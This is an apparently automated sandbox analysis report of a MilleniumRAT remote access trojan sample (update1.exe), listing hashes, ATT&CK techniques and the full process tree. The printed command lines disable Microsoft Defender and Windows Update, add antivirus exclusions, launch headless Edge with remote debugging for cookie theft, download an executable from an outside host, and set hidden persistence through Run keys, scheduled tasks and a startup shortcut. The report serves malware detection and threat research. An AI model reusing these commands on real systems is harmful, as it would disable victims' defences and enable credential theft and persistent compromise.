milleniumrat | 32e167e167c82f04b203c220b56edb95bbc3869254c7b792521a490c97e9507a

Analysis

max time kernel
146s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
26/06/2026, 12:19

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
update1.exe
Size 2.6MB
Sample260626-phbweabs6s
SHA256 32e167e167c82f04b203c220b56edb95bbc3869254c7b792521a490c97e9507a
MD5 bbf485d00380a0585f75315aceb2dc2e
SHA1 5f6a727c0caa2a8af1cbf40a3902edd2426758b8
SHA512 b8f601f7d3ddd65c9189df6b4df472e087279661b573e48ce52f51a6e6fc557204ae0fa44fd568089db6f6018f24cd417edc966d2852ba1e2aa7a73145b7f1fc
SSDEEP 49152:R5uXUoriRSoHz8szAXNGOXwGRbRKq5vguk6cLHMvJ9XUU9KTnUVz:OTrVI4dGOgGpYHCV
TLSH
T13FD59D62F782D0B2E4D201B152BEABF74D787535537584CBE3C01E6A49206D2B63AF1B
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

credential_access defense_evasion discovery execution milleniumrat rat spyware stealer

Malware Config

Signatures

Family: MilleniumRat
MilleniumRat is a remote access trojan written in C#.
rat stealer milleniumrat

Detects MilleniumRAT stealer 1 IoCs

resource	yara_rule
behavioral1/files/0x0007000000024481-3.dat	family_milleniumrat

Command and Scripting Interpreter: PowerShell 1 TTPs 9 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2296	powershell.exe
2500	powershell.exe
2172	powershell.exe
2024	powershell.exe
636	powershell.exe
732	powershell.exe
2024	powershell.exe
4112	powershell.exe
3668	powershell.exe

Disables one or more Microsoft Defender components 1 TTPs 2 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

defense_evasion

Disable or Modify Tools

T1562.001

pid	Process
4112	powershell.exe
3668	powershell.exe

Downloads MZ/PE file 2 IoCs

flow	pid	Process
222	2156	svchost.exe
216	2156	svchost.exe

Uses browser remote debugging 2 TTPs 1 IoCs

Can be used control the browser and steal sensitive information such as credentials and session cookies.

credential_access stealer

Steal Web Session Cookie

T1539

Modify Authentication Process

T1556

pid	Process
2180	msedge.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Executes dropped EXE 3 IoCs

pid	Process
2156	svchost.exe
2468	svchost.exe
996	tmp_4972_update1.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Contacts third-party web service commonly abused for C2 1 TTPs 5 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
15	raw.githubusercontent.com
16	raw.githubusercontent.com
68	raw.githubusercontent.com
90	raw.githubusercontent.com
239	raw.githubusercontent.com

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
13	ip-api.com
236	ip-api.com

Launches sc.exe 6 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2888	sc.exe
796	sc.exe
2004	sc.exe
932	sc.exe
4804	sc.exe
4956	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 11 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	update1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tmp_4972_update1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
4984	msedge.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	msedge.exe

Enumerates system info in registry 2 TTPs 5 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000_Classes\Local Settings	powershell.exe

Modifies registry key 1 TTPs 3 IoCs

Modify Registry

T1112

pid	Process
1068	reg.exe
4504	reg.exe
4720	reg.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2468	svchost.exe
2468	svchost.exe
2468	svchost.exe
2468	svchost.exe
2468	svchost.exe
2468	svchost.exe
2468	svchost.exe
2468	svchost.exe
2468	svchost.exe
2468	svchost.exe
2468	svchost.exe
2468	svchost.exe
2468	svchost.exe
2468	svchost.exe
2468	svchost.exe
2468	svchost.exe
2468	svchost.exe
2468	svchost.exe
2468	svchost.exe
2468	svchost.exe
2468	svchost.exe
2468	svchost.exe
2468	svchost.exe
2468	svchost.exe
2468	svchost.exe
2468	svchost.exe
2468	svchost.exe
2468	svchost.exe
2468	svchost.exe
2468	svchost.exe
2468	svchost.exe
2468	svchost.exe
2468	svchost.exe
2468	svchost.exe
2468	svchost.exe
2468	svchost.exe
2468	svchost.exe
2468	svchost.exe
2468	svchost.exe
2468	svchost.exe
2468	svchost.exe
2468	svchost.exe
2468	svchost.exe
2468	svchost.exe
2468	svchost.exe
2468	svchost.exe
2468	svchost.exe
2468	svchost.exe
2468	svchost.exe
2468	svchost.exe
2468	svchost.exe
2468	svchost.exe
2468	svchost.exe
2468	svchost.exe
2468	svchost.exe
2468	svchost.exe
2468	svchost.exe
2468	svchost.exe
2468	svchost.exe
2468	svchost.exe
2468	svchost.exe
2468	svchost.exe
2468	svchost.exe
2468	svchost.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	2156	svchost.exe
Token: SeDebugPrivilege	2156	svchost.exe
Token: SeDebugPrivilege	2156	svchost.exe
Token: SeDebugPrivilege	2296	powershell.exe
Token: SeDebugPrivilege	636	powershell.exe

Suspicious use of FindShellTrayWindow 3 IoCs

pid	Process
2180	msedge.exe
2180	msedge.exe
4916	msedge.exe

Suspicious use of SendNotifyMessage 1 IoCs

pid	Process
4916	msedge.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2468	svchost.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 3016 wrote to memory of 2156	3016	update1.exe	90
PID 2156 wrote to memory of 2180	2156	svchost.exe	101
PID 2180 wrote to memory of 4916	2180	msedge.exe	102
PID 2180 wrote to memory of 4984	2180	msedge.exe	104
PID 2156 wrote to memory of 732	2156	svchost.exe	106
PID 2156 wrote to memory of 4112	2156	svchost.exe	108
PID 2156 wrote to memory of 4756	2156	svchost.exe	110
PID 2156 wrote to memory of 1828	2156	svchost.exe	112
PID 1828 wrote to memory of 2296	1828	cmd.exe	114
PID 2156 wrote to memory of 996	2156	svchost.exe	115
PID 2296 wrote to memory of 1720	2296	powershell.exe	116
PID 1720 wrote to memory of 636	1720	cmd.exe	118

Views/modifies file attributes 1 TTPs 2 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
3376	attrib.exe
3988	attrib.exe

C:\Users\Admin\AppData\Local\Temp\update1.exe
"C:\Users\Admin\AppData\Local\Temp\update1.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3016
- C:\Users\Admin\AppData\Roaming\h1Z83A5YcYfn\svchost.exe
  "C:\Users\Admin\AppData\Roaming\h1Z83A5YcYfn\svchost.exe"
  2⤵
  - Downloads MZ/PE file
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2156
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9222 --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --profile-directory="Default" --headless --disable-gpu
    3⤵
    - Uses browser remote debugging
    - Enumerates system info in registry
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:2180
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x234,0x238,0x23c,0x230,0x244,0x7ffe76e8c188,0x7ffe76e8c194,0x7ffe76e8c1a0
      4⤵
      Checks processor information in registry
      Enumerates system info in registry
      Suspicious use of FindShellTrayWindow
      Suspicious use of SendNotifyMessage
      PID:4916
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2228,i,9688796503496098638,8204323219864376079,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2224 /prefetch:3
      4⤵
      System Time Discovery
      PID:4984
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -Command "[Console]::OutputEncoding = [System.Text.Encoding]::UTF8; Add-MpPreference -ExclusionPath 'C:\'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    PID:732
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -Command "[Console]::OutputEncoding = [System.Text.Encoding]::UTF8; Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Disables one or more Microsoft Defender components
    - System Location Discovery: System Language Discovery
    PID:4112
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp_17883_wdd.bat" "
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4756
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp_12023_mine.bat" "
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1828
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -WindowStyle Hidden -Command "Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\tmp_12023_mine.bat' -ArgumentList 'silent' -Verb RunAs -WindowStyle Hidden"
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Modifies registry class
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2296
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\tmp_12023_mine.bat" silent
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:1720
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Microsoft\Update' -ExclusionPath 'C:\ProgramData' -ExclusionPath 'C:\' -ExclusionProcess 'wusvc.exe' -ExclusionProcess 'svchost.exe' -Force"
        6⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:636
      - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
        6⤵
        
        PID:3784
      - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiVirus /t REG_DWORD /d 1 /f
        6⤵
        
        PID:972
      - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v TamperProtection /t REG_DWORD /d 0 /f
        6⤵
        
        PID:4900
      - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
        6⤵
        
        PID:4760
      - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f
        6⤵
        
        PID:4988
      - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications" /v DisableNotifications /t REG_DWORD /d 1 /f
        6⤵
        
        PID:1804
      - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender Security Center" /v UILockdown /t REG_DWORD /d 1 /f
        6⤵
        
        PID:2948
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true -Force"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Disables one or more Microsoft Defender components
        
        PID:3668
      - C:\Windows\SysWOW64\sc.exe
        
        sc config WinDefend start= disabled
        6⤵
        Launches sc.exe
        
        PID:932
      - C:\Windows\SysWOW64\sc.exe
        
        sc stop WinDefend
        6⤵
        Launches sc.exe
        
        PID:4804
      - C:\Windows\SysWOW64\sc.exe
        
        sc config SecurityHealthService start= disabled
        6⤵
        Launches sc.exe
        
        PID:4956
      - C:\Windows\SysWOW64\sc.exe
        
        sc stop SecurityHealthService
        6⤵
        Launches sc.exe
        
        PID:2888
      - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f
        6⤵
        
        PID:4436
      - C:\Windows\SysWOW64\sc.exe
        
        sc config wuauserv start= disabled
        6⤵
        Launches sc.exe
        
        PID:796
      - C:\Windows\SysWOW64\sc.exe
        
        sc stop wuauserv
        6⤵
        Launches sc.exe
        
        PID:2004
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /Change /TN "Microsoft\Windows\Windows Defender*" /Disable
        6⤵
        
        PID:4000
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /Change /TN "Microsoft\Windows\UpdateOrchestrator*" /Disable
        6⤵
        
        PID:2576
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri 'https://protoolskit.net/wusvc.exe' -OutFile 'C:\Users\Admin\AppData\Local\Temp\Microsoft\Update\wusvc.exe' -UseBasicParsing"
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2024
- - C:\Users\Admin\AppData\Local\Temp\tmp_4972_update1.exe
    "C:\Users\Admin\AppData\Local\Temp\tmp_4972_update1.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:996
- - C:\Users\Admin\AppData\Local\Temp\tmp_25957_update2.exe
    "C:\Users\Admin\AppData\Local\Temp\tmp_25957_update2.exe"
    3⤵
    PID:4532
  - - C:\Users\Admin\AppData\Local\Temp\F7EgVCAVlH09YnG\vshost.exe
      "C:\Users\Admin\AppData\Local\Temp\\F7EgVCAVlH09YnG\vshost.exe"
      4⤵
      PID:3832
- - C:\Users\Admin\AppData\Local\Temp\tmp_5473_update3.exe
    "C:\Users\Admin\AppData\Local\Temp\tmp_5473_update3.exe"
    3⤵
    PID:1164
  - - C:\Windows\system32\attrib.exe
      "attrib" +H C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SendTo\OneDriveUpdate.exe
      4⤵
      Views/modifies file attributes
      PID:3376
  - - C:\Windows\system32\reg.exe
      "reg" add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v WindowsHealthMonitor /t REG_SZ /d C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SendTo\OneDriveUpdate.exe /f
      4⤵
      Modifies registry key
      PID:4720
  - - C:\Windows\system32\reg.exe
      "reg" add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v SysHelper /t REG_SZ /d C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\ThemeSync.exe /f
      4⤵
      Modifies registry key
      PID:1068
  - - C:\Windows\system32\reg.exe
      "reg" add HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce /v Setup /t REG_SZ /d C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SendTo\OneDriveUpdate.exe /f
      4⤵
      Modifies registry key
      PID:4504
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -WindowStyle Hidden -Command "$action = New-ScheduledTaskAction -Execute 'C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\OneDriveUpdate.exe'; $trigger = New-ScheduledTaskTrigger -AtLogon; $settings = New-ScheduledTaskSettingsSet -Hidden -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries; Register-ScheduledTask -TaskName 'OneDriveStandalone' -Action $action -Trigger $trigger -Settings $settings -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:2500
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -WindowStyle Hidden -Command "$s = (New-Object -COM WScript.Shell).CreateShortcut('C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\OneDrive.lnk'); $s.TargetPath = 'C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\OneDriveUpdate.exe'; $s.WorkingDirectory = 'C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\SendTo'; $s.WindowStyle = 7; $s.Save()"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:2172
  - - C:\Windows\system32\attrib.exe
      "attrib" +H C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\syshelper.vbs
      4⤵
      Views/modifies file attributes
      PID:3988
  - - C:\Windows\system32\wscript.exe
      "wscript.exe" //nologo //b C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\syshelper.vbs
      4⤵
      PID:4700
  - - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SendTo\OneDriveUpdate.exe
      "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SendTo\OneDriveUpdate.exe"
      4⤵
      PID:1016
  - - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SendTo\OneDriveUpdate.exe
      "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SendTo\OneDriveUpdate.exe"
      4⤵
      PID:2724

C:\Users\Admin\AppData\Roaming\h1Z83A5YcYfn\svchost.exe
C:\Users\Admin\AppData\Roaming\h1Z83A5YcYfn\svchost.exe
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:2468

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:1696

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SendTo\OneDriveUpdate.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SendTo\OneDriveUpdate.exe
1⤵
PID:1768

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Modify Authentication Process

T1556

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Authentication Process

T1556

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Modify Authentication Process

T1556

Steal Web Session Cookie

T1539

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Time Discovery

T1124

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 70c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf
MD5 661739d384d9dfd807a089721202900b
SHA1 5b2c5d6a7122b4ce849dc98e79a7713038feac55
SHA512 81b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8
TLSH
T1DC51FE323375F0D4C8567F07293819D463BF4386EA94AF58B258621ED93641B8F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
Size 2KB
SHA256 92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a
MD5 968cb9309758126772781b83adb8a28f
SHA1 8da30e71accf186b2ba11da1797cf67f8f78b47c
SHA512 4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3
TLSH
T1A4417C303261A9D84D435B0215286ED5E3EF478AAFAC5F5CB569231DCE2A44BD7221F3
MD5 SHA1 SHA512 TLSH

Submit Download

898c7667-7007-48f7-99b4-b224be3673c0.dmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\reports\898c7667-7007-48f7-99b4-b224be3673c0.dmp
Size 7.3MB
SHA256 58174cdd6d293ef6a5ceb7ad3fb863a4aad42ac799b90d8f18a0e2975c9249f9
MD5 bb85e5690ea59209be148adc37ddb2b9
SHA1 e439ef672b7aa6af9e21175d024e118d5c3ed93f
SHA512 49af5909cb9e4ee4c306d57756531ca2ebace3f5c16f0513ac4e78f798d14b9da91f35cfbd6cfff4eaeafae17186ce23452c783c32eb705ae352f522197a003a
SSDEEP 24576:vfQi80e9Rb7Tm4u8CnaJHBtfRLa5Hgm/xAcFWuku8N:vT8r37UnaJHax3LC
TLSH
T15876E869F3D28246F42B4A708B9BB751E7F2FDA08A81A3133654335D1D7B648DF26B04
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

89914746-cd25-41c7-88c2-f22ed68be195.dmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\reports\89914746-cd25-41c7-88c2-f22ed68be195.dmp
Size 6.1MB
SHA256 d022d04b9018f341e13ee17d15575517295ff6546c940f82c54058ef0381a278
MD5 fe85833a9b83fa5a76581f12fc2d7672
SHA1 a0aac7aaba1b35aedb6c8d45f65c9407cafe3d2d
SHA512 70414a2f17189b6079bd262fa359260f038ed32be5039d4c0e885436b80492d95c9743744c96ad18c6b954dd2e8add4a71ac07a758b1eaef61225ef31844a370
SSDEEP 24576:J9Vi80e9Rb7Tm4u8CnFPBnI1VoLAjzQq2lO2Up:JC8r37UnFPUJUbQ2Up
TLSH
T12D56E729F3D68646F81B4A708B9BB341E7F2FDA08A8597133664335D1D7B648DF26B00
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 4bf0783d55eb083b4adaa03ed8b76a2bd35b0819c8ad2530a78e1b8d6856010b
MD5 7a50c2e276f05b686e8cb6c95b86650f
SHA1 bc892af04a9d6b1bee8047f67518d676df864301
SHA512 f1d02fd9f067323214d78de08172e1a78028eba76f4754436f4d77b849e8422865dcea22be13f21c36ac2c5807b393c1dffdb0a3217c3353a517a0467461a474
TLSH
T19BD022203A28A008E282003AA880EB020208CA80282BC322E220C00CAC2B820A3800C2
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 81240d13af4ca099e1358c75991e3fa5640dbb3aac72c2d98006f6159bf74aa0
MD5 96dd753cd2d8557b97ab2cd76f7fc6cf
SHA1 81697ccb13fb04a07bd47b552b3607597251f36d
SHA512 355c412a688a71b124e85c0527177b3f97efceb2a5553f8428e0913940daffd3bd176f5476b940c64eee52d543f0568112ac073984d9a64015adc15cbef552de
TLSH
T174D09224BA29A149E282007AA881EB565219DA95296B9622E620C44DBD2B925A3851C2
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 75912e28a050fdfb03c15b6e98da38fad6da021d28a7bbbecc94a217dcb23204
MD5 ae3884039d533b55d062e6c68bd4053f
SHA1 c1f48b8b5a27f9dd3385dba988226e50404d8209
SHA512 e73576b45d8eea68571d3fd47c2d08bef78ac18c0bdf46dc55d7c5df0fc66cbfaeeffbc4764daa20dcfbe4e073ab4786373d4831f536dbc34223d6fea6a2a982
TLSH
T1FFD02B2076169845D28300355880F7460008CA9038578111F110C00CBC1741053800C2
MD5 SHA1 SHA512 TLSH

Submit Download

data_1

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DawnGraphiteCache\data_1
Size 264KB
SHA256 b1e963d702392fb7224786e7d56d43973e9b9efd1b89c17814d7c558ffc0cdec
MD5 f50f89a0a91564d0b8a211f8921aa7de
SHA1 112403a17dd69d5b9018b8cede023cb3b54eab7d
SHA512 bf8cda48cf1ec4e73f0dd1d4fa5562af1836120214edb74957430cd3e4a2783e801fa3f4ed2afb375257caeed4abe958265237d6e0aacf35a9ede7a2e8898d58
SSDEEP 3:MsEllllkEthXllkl2zE:/M/xT02z
MD5 SHA1 SHA512 SSDEEP

Submit Download

Edge Profile.ico

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
